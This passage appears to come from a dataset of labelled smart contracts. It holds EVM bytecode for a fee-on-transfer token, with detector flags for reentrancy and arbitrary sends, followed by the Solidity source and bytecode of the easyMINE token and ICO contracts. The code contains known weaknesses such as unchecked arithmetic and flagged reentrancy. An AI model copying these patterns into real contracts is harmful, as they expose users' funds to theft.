61044090611d56565b60405180910390fd5b60005b81518110156104bf576001600a600084848151811061047b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b781611e35565b91505061044c565b5050565b600c546001600160a01b031633146105165760405162461bcd60e51b815260206004820152601660248201527513db9b1e4819195c1b1bde595c8818d85b8818d85b1b60521b6044820152606401610440565b478111156105595760405162461bcd60e51b815260206004820152601060248201526f195e18d95cdcda5d9948185b5bdd5b9d60821b6044820152606401610440565b600081116105965760405162461bcd60e51b815260206004820152600a60248201526906174206c6561737420360b41b6044820152606401610440565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156105fb57600080fd5b505afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611a88565b8160008151811061065457634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061069657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e54604051637ff36ab560e01b8152911690637ff36ab59084906106fc9060009086907f000000000000000000000000000000000000000000000000000000000000dead904290600401611cce565b6000604051808303818588803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b50505050505050565b600061073f338484610ddb565b5060015b92915050565b6000610756848484610eff565b6107a884336107a385604051806060016040528060288152602001611ea0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611311565b610ddb565b5060019392505050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b815260040161044090611d56565b600f54600160a01b900460ff16156108365760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c726561647920737461727465640000000000006044820152606401610440565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610871308266038d7ea4c68000610ddb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108aa57600080fd5b505afa1580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e29190611a88565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611a88565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e29190611a88565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610a1281610c31565b600080610a276000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac39190611c5e565b5050600f80546503a35294400060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf9190611c2a565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b815260040161044090611d56565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161044090611d56565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b031614610c2457600080fd5b47610c2e8161134b565b50565b6001600160a01b03811660009081526002602052604081205461074390611392565b6000546001600160a01b03163314610c7d5760405162461bcd60e51b815260040161044090611d56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061073f338484610eff565b600d546001600160a01b0316336001600160a01b031614610cf457600080fd5b6000610cff30610c31565b9050610c2e81611416565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161044090611d56565b60008111610d845760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610440565b610da06064610d9a66038d7ea4c68000846115bb565b9061163a565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610e3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610440565b6001600160a01b038216610e9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610440565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610440565b6001600160a01b038216610fc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610440565b600081116110275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610440565b6000546001600160a01b0384811691161480159061105357506000546001600160a01b03838116911614155b156112b457600f54600160b81b900460ff161561113a576001600160a01b038316301480159061108c57506001600160a01b0382163014155b80156110a65750600e546001600160a01b03848116911614155b80156110c05750600e546001600160a01b03838116911614155b1561113a57600e546001600160a01b0316336001600160a01b031614806110fa5750600f546001600160a01b0316336001600160a01b0316145b61113a5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610440565b60105481111561114957600080fd5b6001600160a01b0383166000908152600a602052604090205460ff1615801561118b57506001600160a01b0382166000908152600a602052604090205460ff16155b61119457600080fd5b600f546001600160a01b0384811691161480156111bf5750600e546001600160a01b03838116911614155b80156111e457506001600160a01b03821660009081526005602052604090205460ff16155b80156111f95750600f54600160b81b900460ff165b15611247576001600160a01b0382166000908152600b6020526040902054421161122257600080fd5b61122d42600f611dc7565b6001600160a01b0383166000908152600b60205260409020555b600061125230610c31565b600f54909150600160a81b900460ff1615801561127d5750600f546001600160a01b03858116911614155b80156112925750600f54600160b01b900460ff165b156112b2576112a081611416565b4780156112b0576112b04761134b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112f657506001600160a01b03831660009081526005602052604090205460ff165b156112ff575060005b61130b8484848461167c565b50505050565b600081848411156113355760405162461bcd60e51b81526004016104409190611d03565b5060006113428486611e1e565b95945050505050565b600d546001600160a01b03166108fc61136a600a610d9a8560086115bb565b6040518115909202916000818181858888f193505050501580156104bf573d6000803e3d6000fd5b60006006548211156113f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610440565b60006114036116a8565b905061140f838261163a565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114c057600080fd5b505afa1580156114d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f89190611a88565b8160018151811061151957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461153f9130911684610ddb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611578908590600090869030904290600401611d8b565b600060405180830381600087803b15801561159257600080fd5b505af11580156115a6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826115ca57506000610743565b60006115d68385611dff565b9050826115e38583611ddf565b1461140f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610440565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cb565b80611689576116896116f9565b61169484848461171c565b8061130b5761130b6005600855600a600955565b60008060006116b5611813565b90925090506116c4828261163a565b9250505090565b600081836116ec5760405162461bcd60e51b81526004016104409190611d03565b5060006113428486611ddf565b6008541580156117095750600954155b1561171057565b60006008819055600955565b60008060008060008061172e87611851565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061176090876118ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461178f90866118f0565b6001600160a01b0389166000908152600260205260409020556117b18161194f565b6117bb8483611999565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161180091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061182d828261163a565b8210156118485750506006549266038d7ea4c6800092509050565b90939092509050565b600080600080600080600080600061186e8a6008546009546119bd565b925092509250600061187e6116a8565b905060008060006118918e878787611a0c565b919e509c509a509598509396509194505050505091939550919395565b600061140f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611311565b6000806118fd8385611dc7565b90508381101561140f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610440565b60006119596116a8565b9050600061196783836115bb565b3060009081526002602052604090205490915061198490826118f0565b30600090815260026020526040902055505050565b6006546119a690836118ae565b6006556007546119b690826118f0565b6007555050565b60008080806119d16064610d9a89896115bb565b905060006119e46064610d9a8a896115bb565b905060006119fc826119f68b866118ae565b906118ae565b9992985090965090945050505050565b6000808080611a1b88866115bb565b90506000611a2988876115bb565b90506000611a3788886115bb565b90506000611a49826119f686866118ae565b939b939a50919850919650505050505050565b8035611a6781611e7c565b919050565b600060208284031215611a7d578081fd5b813561140f81611e7c565b600060208284031215611a99578081fd5b815161140f81611e7c565b60008060408385031215611ab6578081fd5b8235611ac181611e7c565b91506020830135611ad181611e7c565b809150509250929050565b600080600060608486031215611af0578081fd5b8335611afb81611e7c565b92506020840135611b0b81611e7c565b929592945050506040919091013590565b60008060408385031215611b2e578182fd5b8235611b3981611e7c565b946020939093013593505050565b60006020808385031215611b59578182fd5b823567ffffffffffffffff80821115611b70578384fd5b818501915085601f830112611b83578384fd5b813581811115611b9557611b95611e66565b8060051b604051601f19603f83011681018181108582111715611bba57611bba611e66565b604052828152858101935084860182860187018a1015611bd8578788fd5b8795505b83861015611c0157611bed81611a5c565b855260019590950194938601938601611bdc565b5098975050505050505050565b600060208284031215611c1f578081fd5b813561140f81611e91565b600060208284031215611c3b578081fd5b815161140f81611e91565b600060208284031215611c57578081fd5b5035919050565b600080600060608486031215611c72578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b83811015611cc35781516001600160a01b031687529582019590820190600101611c9e565b509495945050505050565b848152608060208201526000611ce76080830186611c8b565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b81811015611d2f57858101830151858201604001528201611d13565b81811115611d405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a060408201526000611daa60a0830186611c8b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611dda57611dda611e50565b500190565b600082611dfa57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1957611e19611e50565b500290565b600082821015611e3057611e30611e50565b500390565b6000600019821415611e4957611e49611e50565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c2e57600080fd5b8015158114610c2e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ebc885ca7ecb942e5339b6463a2dc90b2b753a9524cbb3e00548a3dea29608ae64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,057
0x53ce47cbe7f2be0aecd086a70182a98c907d024d
pragma solidity ^0.4.13; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract EasyMineToken is StandardToken { string public constant name = "easyMINE Token"; string public constant symbol = "EMT"; uint8 public constant decimals = 18; function EasyMineToken(address _icoAddress, address _preIcoAddress, address _easyMineWalletAddress, address _bountyWalletAddress) { require(_icoAddress != 0x0); require(_preIcoAddress != 0x0); require(_easyMineWalletAddress != 0x0); require(_bountyWalletAddress != 0x0); totalSupply = 33000000 * 10**18; // 33.000.000 EMT uint256 icoTokens = 27000000 * 10**18; // 27.000.000 EMT uint256 preIcoTokens = 2000000 * 10**18; // 2.000.000 EMT uint256 easyMineTokens = 3000000 * 10**18; // 1.500.000 EMT dev team + // 500.000 EMT advisors + // 1.000.000 EMT easyMINE corporation + // = 3.000.000 EMT uint256 bountyTokens = 1000000 * 10**18; // 1.000.000 EMT assert(icoTokens + preIcoTokens + easyMineTokens + bountyTokens == totalSupply); balances[_icoAddress] = icoTokens; Transfer(0, _icoAddress, icoTokens); balances[_preIcoAddress] = preIcoTokens; Transfer(0, _preIcoAddress, preIcoTokens); balances[_easyMineWalletAddress] = easyMineTokens; Transfer(0, _easyMineWalletAddress, easyMineTokens); balances[_bountyWalletAddress] = bountyTokens; Transfer(0, _bountyWalletAddress, bountyTokens); } function burn(uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; totalSupply -= _value; Transfer(msg.sender, 0x0, _value); return true; } else { return false; } } } contract EasyMineTokenWallet { uint256 constant public VESTING_PERIOD = 180 days; uint256 constant public DAILY_FUNDS_RELEASE = 15000 * 10**18; // 0.5% * 3M tokens = 15k tokens a day address public owner; address public withdrawalAddress; Token public easyMineToken; uint256 public startTime; uint256 public totalWithdrawn; modifier isOwner() { require(msg.sender == owner); _; } function EasyMineTokenWallet() { owner = msg.sender; } function setup(address _easyMineToken, address _withdrawalAddress) public isOwner { require(_easyMineToken != 0x0); require(_withdrawalAddress != 0x0); easyMineToken = Token(_easyMineToken); withdrawalAddress = _withdrawalAddress; startTime = now; } function withdraw(uint256 requestedAmount) public isOwner returns (uint256 amount) { uint256 limit = maxPossibleWithdrawal(); uint256 withdrawalAmount = requestedAmount; if (requestedAmount > limit) { withdrawalAmount = limit; } if (withdrawalAmount > 0) { if (!easyMineToken.transfer(withdrawalAddress, withdrawalAmount)) { revert(); } totalWithdrawn += withdrawalAmount; } return withdrawalAmount; } function maxPossibleWithdrawal() public constant returns (uint256) { if (now < startTime + VESTING_PERIOD) { return 0; } else { uint256 daysPassed = (now - (startTime + VESTING_PERIOD)) / 86400; uint256 res = DAILY_FUNDS_RELEASE * daysPassed - totalWithdrawn; if (res < 0) { return 0; } else { return res; } } } } contract EasyMineIco { event TokensSold(address indexed buyer, uint256 amount); event TokensReserved(uint256 amount); event IcoFinished(uint256 burned); struct PriceThreshold { uint256 tokenCount; uint256 price; uint256 tokensSold; } /* Maximum duration of ICO */ uint256 public maxDuration; /* Minimum start delay in blocks */ uint256 public minStartDelay; /* The owner of this contract */ address public owner; /* The sys address that handles token reservation */ address public sys; /* The reservation address - where reserved tokens will be send */ address public reservationAddress; /* The easyMINE wallet address */ address public wallet; /* The easyMINE token */ EasyMineToken public easyMineToken; /* ICO start block */ uint256 public startBlock; /* ICO end block */ uint256 public endBlock; /* The three price thresholds */ PriceThreshold[3] public priceThresholds; /* Current stage */ Stages public stage; enum Stages { Deployed, SetUp, StartScheduled, Started, Ended } modifier atStage(Stages _stage) { require(stage == _stage); _; } modifier isOwner() { require(msg.sender == owner); _; } modifier isSys() { require(msg.sender == sys); _; } modifier isValidPayload() { require(msg.data.length == 0 || msg.data.length == 4); _; } modifier timedTransitions() { if (stage == Stages.StartScheduled && block.number >= startBlock) { stage = Stages.Started; } if (stage == Stages.Started && block.number >= endBlock) { finalize(); } _; } function EasyMineIco(address _wallet) public { require(_wallet != 0x0); owner = msg.sender; wallet = _wallet; stage = Stages.Deployed; } /* Fallback function */ function() public payable timedTransitions { if (stage == Stages.Started) { buyTokens(); } else { revert(); } } function setup(address _easyMineToken, address _sys, address _reservationAddress, uint256 _minStartDelay, uint256 _maxDuration) public isOwner atStage(Stages.Deployed) { require(_easyMineToken != 0x0); require(_sys != 0x0); require(_reservationAddress != 0x0); require(_minStartDelay > 0); require(_maxDuration > 0); priceThresholds[0] = PriceThreshold(2000000 * 10**18, 0.00070 * 10**18, 0); priceThresholds[1] = PriceThreshold(2000000 * 10**18, 0.00075 * 10**18, 0); priceThresholds[2] = PriceThreshold(23000000 * 10**18, 0.00080 * 10**18, 0); easyMineToken = EasyMineToken(_easyMineToken); sys = _sys; reservationAddress = _reservationAddress; minStartDelay = _minStartDelay; maxDuration = _maxDuration; // Validate token balance assert(easyMineToken.balanceOf(this) == maxTokensSold()); stage = Stages.SetUp; } function maxTokensSold() public constant returns (uint256) { uint256 total = 0; for (uint8 i = 0; i < priceThresholds.length; i++) { total += priceThresholds[i].tokenCount; } return total; } function totalTokensSold() public constant returns (uint256) { uint256 total = 0; for (uint8 i = 0; i < priceThresholds.length; i++) { total += priceThresholds[i].tokensSold; } return total; } /* Schedules start of the ICO */ function scheduleStart(uint256 _startBlock) public isOwner atStage(Stages.SetUp) { // Start allowed minimum 5000 blocks from now require(_startBlock > block.number + minStartDelay); startBlock = _startBlock; endBlock = startBlock + maxDuration; stage = Stages.StartScheduled; } function updateStage() public timedTransitions returns (Stages) { return stage; } function buyTokens() public payable isValidPayload timedTransitions atStage(Stages.Started) { require(msg.value > 0); uint256 amountRemaining = msg.value; uint256 tokensToReceive = 0; for (uint8 i = 0; i < priceThresholds.length; i++) { uint256 tokensAvailable = priceThresholds[i].tokenCount - priceThresholds[i].tokensSold; uint256 maxTokensByAmount = amountRemaining * 10**18 / priceThresholds[i].price; uint256 tokens; if (maxTokensByAmount > tokensAvailable) { tokens = tokensAvailable; amountRemaining -= (priceThresholds[i].price * tokens) / 10**18; } else { tokens = maxTokensByAmount; amountRemaining = 0; } priceThresholds[i].tokensSold += tokens; tokensToReceive += tokens; } assert(tokensToReceive > 0); if (amountRemaining != 0) { assert(msg.sender.send(amountRemaining)); } assert(wallet.send(msg.value - amountRemaining)); assert(easyMineToken.transfer(msg.sender, tokensToReceive)); if (totalTokensSold() == maxTokensSold()) { finalize(); } TokensSold(msg.sender, tokensToReceive); } function reserveTokens(uint256 tokenCount) public isSys timedTransitions atStage(Stages.Started) { require(tokenCount > 0); uint256 tokensRemaining = tokenCount; for (uint8 i = 0; i < priceThresholds.length; i++) { uint256 tokensAvailable = priceThresholds[i].tokenCount - priceThresholds[i].tokensSold; uint256 tokens; if (tokensRemaining > tokensAvailable) { tokens = tokensAvailable; } else { tokens = tokensRemaining; } priceThresholds[i].tokensSold += tokens; tokensRemaining -= tokens; } uint256 tokensReserved = tokenCount - tokensRemaining; assert(easyMineToken.transfer(reservationAddress, tokensReserved)); if (totalTokensSold() == maxTokensSold()) { finalize(); } TokensReserved(tokensReserved); } /* Transfer any ether accidentally left in this contract */ function cleanup() public isOwner timedTransitions atStage(Stages.Ended) { assert(owner.send(this.balance)); } function finalize() private { stage = Stages.Ended; // burn unsold tokens uint256 balance = easyMineToken.balanceOf(this); easyMineToken.burn(balance); IcoFinished(balance); } }
0x606060405236156100eb5763ffffffff60e060020a600035041663083c6323811461019057806311f58e99146101b55780631944bc3d146101da5780631fa4ea66146102145780633cecd7191461024357806348cd4cb1146102585780634c9297fa1461027d578063521eb2731461029557806358623642146102c457806363b20117146102e95780636db5c8fd1461030e5780638da5cb5b14610333578063ae422c0914610362578063b956a8a614610391578063c040e6b8146103c0578063c062f578146103f7578063c7efb1621461042e578063d031370b14610461578063d0febe4c14610479575b61018e5b60025b60125460ff16600481111561010357fe5b14801561011257506007544310155b1561012d57601280546003919060ff19166001835b02179055505b60035b60125460ff16600481111561014157fe5b14801561015057506008544310155b1561015d5761015d610483565b5b60035b60125460ff16600481111561017257fe5b1415610185576101806105b5565b61018a565b600080fd5b5b5b565b005b341561019b57600080fd5b6101a36108d0565b60405190815260200160405180910390f35b34156101c057600080fd5b6101a36108d6565b60405190815260200160405180910390f35b34156101e557600080fd5b6101f0600435610917565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561021f57600080fd5b61022761093f565b604051600160a060020a03909116815260200160405180910390f35b341561024e57600080fd5b61018e61094e565b005b341561026357600080fd5b6101a3610a34565b60405190815260200160405180910390f35b341561028857600080fd5b61018e600435610a3a565b005b34156102a057600080fd5b610227610aad565b604051600160a060020a03909116815260200160405180910390f35b34156102cf57600080fd5b6101a3610abc565b60405190815260200160405180910390f35b34156102f457600080fd5b6101a3610ac2565b60405190815260200160405180910390f35b341561031957600080fd5b6101a3610b05565b60405190815260200160405180910390f35b341561033e57600080fd5b610227610b0b565b604051600160a060020a03909116815260200160405180910390f35b341561036d57600080fd5b610227610b1a565b604051600160a060020a03909116815260200160405180910390f35b341561039c57600080fd5b610227610b29565b604051600160a060020a03909116815260200160405180910390f35b34156103cb57600080fd5b6103d3610b38565b604051808260048111156103e357fe5b60ff16815260200191505060405180910390f35b341561040257600080fd5b6103d3610b41565b604051808260048111156103e357fe5b60ff16815260200191505060405180910390f35b341561043957600080fd5b61018e600160a060020a0360043581169060243581169060443516606435608435610bbe565b005b341561046c57600080fd5b61018e600435610e3c565b005b61018e6105b5565b005b6012805460009160049160ff19166001835b0217905550600654600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156104f357600080fd5b6102c65a03f1151561050457600080fd5b5050506040518051600654909250600160a060020a031690506342966c688260006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561056257600080fd5b6102c65a03f1151561057357600080fd5b50505060405180519050507fbf75838e432c8f571bbeb07f5b72499d293b76cc6e9c39c1980f187945c7d9398160405190815260200160405180910390a15b50565b600080808080803615806105c95750600436145b15156105d457600080fd5b60025b60125460ff1660048111156105e857fe5b1480156105f757506007544310155b1561061257601280546003919060ff19166001835b02179055505b60035b60125460ff16600481111561062657fe5b14801561063557506008544310155b1561064257610642610483565b5b6003805b60125460ff16600481111561065857fe5b1461066257600080fd5b6000341161066f57600080fd5b34965060009550600094505b60038560ff16101561077257600960ff86166003811061069757fe5b6003020160005b5060020154600960ff8716600381106106b357fe5b6003020160005b5054039350600960ff8616600381106106cf57fe5b6003020160005b506001015487670de0b6b3a7640000028115156106ef57fe5b0492508383111561073757839150670de0b6b3a764000082600960ff88166003811061071757fe5b6003020160005b50600101540281151561072d57fe5b048703965061073f565b829150600096505b81600960ff87166003811061075057fe5b6003020160005b5060020180549091019055948101945b60019094019361067b565b6000861161077c57fe5b86156107b057600160a060020a03331687156108fc0288604051600060405180830381858888f1935050505015156107b057fe5b5b600554600160a060020a03163488900380156108fc0290604051600060405180830381858888f1935050505015156107e557fe5b600654600160a060020a031663a9059cbb338860006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561084457600080fd5b6102c65a03f1151561085557600080fd5b50505060405180519050151561086757fe5b61086f6108d6565b610877610ac2565b141561088557610885610483565b5b33600160a060020a03167f57d61f3ccd4ccd25ec5d234d6049553a586fac134c85c98d0b0d9d5724f4e43e8760405190815260200160405180910390a25b5b505b5b505050505050565b60085481565b600080805b60038160ff16101561090e57600960ff8216600381106108f757fe5b6003020160005b505491909101905b6001016108db565b8192505b505090565b6009816003811061092457fe5b6003020160005b508054600182015460029092015490925083565b600454600160a060020a031681565b60025433600160a060020a0390811691161461096957600080fd5b60025b60125460ff16600481111561097d57fe5b14801561098c57506007544310155b156109a757601280546003919060ff19166001835b02179055505b60035b60125460ff1660048111156109bb57fe5b1480156109ca57506008544310155b156109d7576109d7610483565b5b6004805b60125460ff1660048111156109ed57fe5b146109f757600080fd5b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105b257fe5b5b5b505b5b565b60075481565b60025433600160a060020a03908116911614610a5557600080fd5b6001805b60125460ff166004811115610a6a57fe5b14610a7457600080fd5b60015443018211610a8457600080fd5b60078290556000548201600855601280546002919060ff19166001835b02179055505b5b505b50565b600554600160a060020a031681565b60015481565b600080805b60038160ff16101561090e57600960ff821660038110610ae357fe5b6003020160005b5060020154820191505b600101610ac7565b8192505b505090565b60005481565b600254600160a060020a031681565b600354600160a060020a031681565b600654600160a060020a031681565b60125460ff1681565b600060025b60125460ff166004811115610b5757fe5b148015610b6657506007544310155b15610b8157601280546003919060ff19166001835b02179055505b60035b60125460ff166004811115610b9557fe5b148015610ba457506008544310155b15610bb157610bb1610483565b5b5060125460ff165b5b90565b60025433600160a060020a03908116911614610bd957600080fd5b6000805b60125460ff166004811115610bee57fe5b14610bf857600080fd5b600160a060020a0386161515610c0d57600080fd5b600160a060020a0385161515610c2257600080fd5b600160a060020a0384161515610c3757600080fd5b60008311610c4457600080fd5b60008211610c5157600080fd5b606060405190810160409081526a01a784379d99db42000000825266027ca57357c000602083015260009082018190526009905b6003020160005b508151815560208201518160010155604082015160029091015550606060405190810160409081526a01a784379d99db4200000082526602aa1efb94e0006020830152600090820152600960015b6003020160005b508151815560208201518160010155604082015160029091015550606060405190810160409081526a1306707f9469597700000082526602d79883d200006020830152600090820152600960025b6003020160005b50815181556020820151816001015560408201516002909101555060068054600160a060020a03808916600160a060020a03199283161790925560038054888416908316179055600480549287169290911691909117905560018390556000829055610da06108d6565b600654600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610df957600080fd5b6102c65a03f11515610e0a57600080fd5b50505060405180519050141515610e1d57fe5b601280546001919060ff191682805b02179055505b5b505b5050505050565b600354600090819081908190819033600160a060020a03908116911614610e6257600080fd5b60025b60125460ff166004811115610e7657fe5b148015610e8557506007544310155b15610ea057601280546003919060ff19166001835b02179055505b60035b60125460ff166004811115610eb457fe5b148015610ec357506008544310155b15610ed057610ed0610483565b5b6003805b60125460ff166004811115610ee657fe5b14610ef057600080fd5b60008711610efd57600080fd5b869550600094505b60038560ff161015610f9157600960ff861660038110610f2157fe5b6003020160005b5060020154600960ff871660038110610f3d57fe5b6003020160005b505403935083861115610f5957839250610f5d565b8592505b82600960ff871660038110610f6e57fe5b6003020160005b506002018054909101905594829003945b600190940193610f05565b6006546004548789039350600160a060020a039182169163a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ffc57600080fd5b6102c65a03f1151561100d57600080fd5b50505060405180519050151561101f57fe5b6110276108d6565b61102f610ac2565b141561103d5761103d610483565b5b7fbf77afdbd3c69c4beef7d2bde755f15d1db8bb3e1c87ae262cb7f3b48685ddc18260405190815260200160405180910390a15b5b505b5b5050505050505600a165627a7a72305820b4bae348d9a089beb77994cfb4a6b85424523611661147339d3272be40500be50029
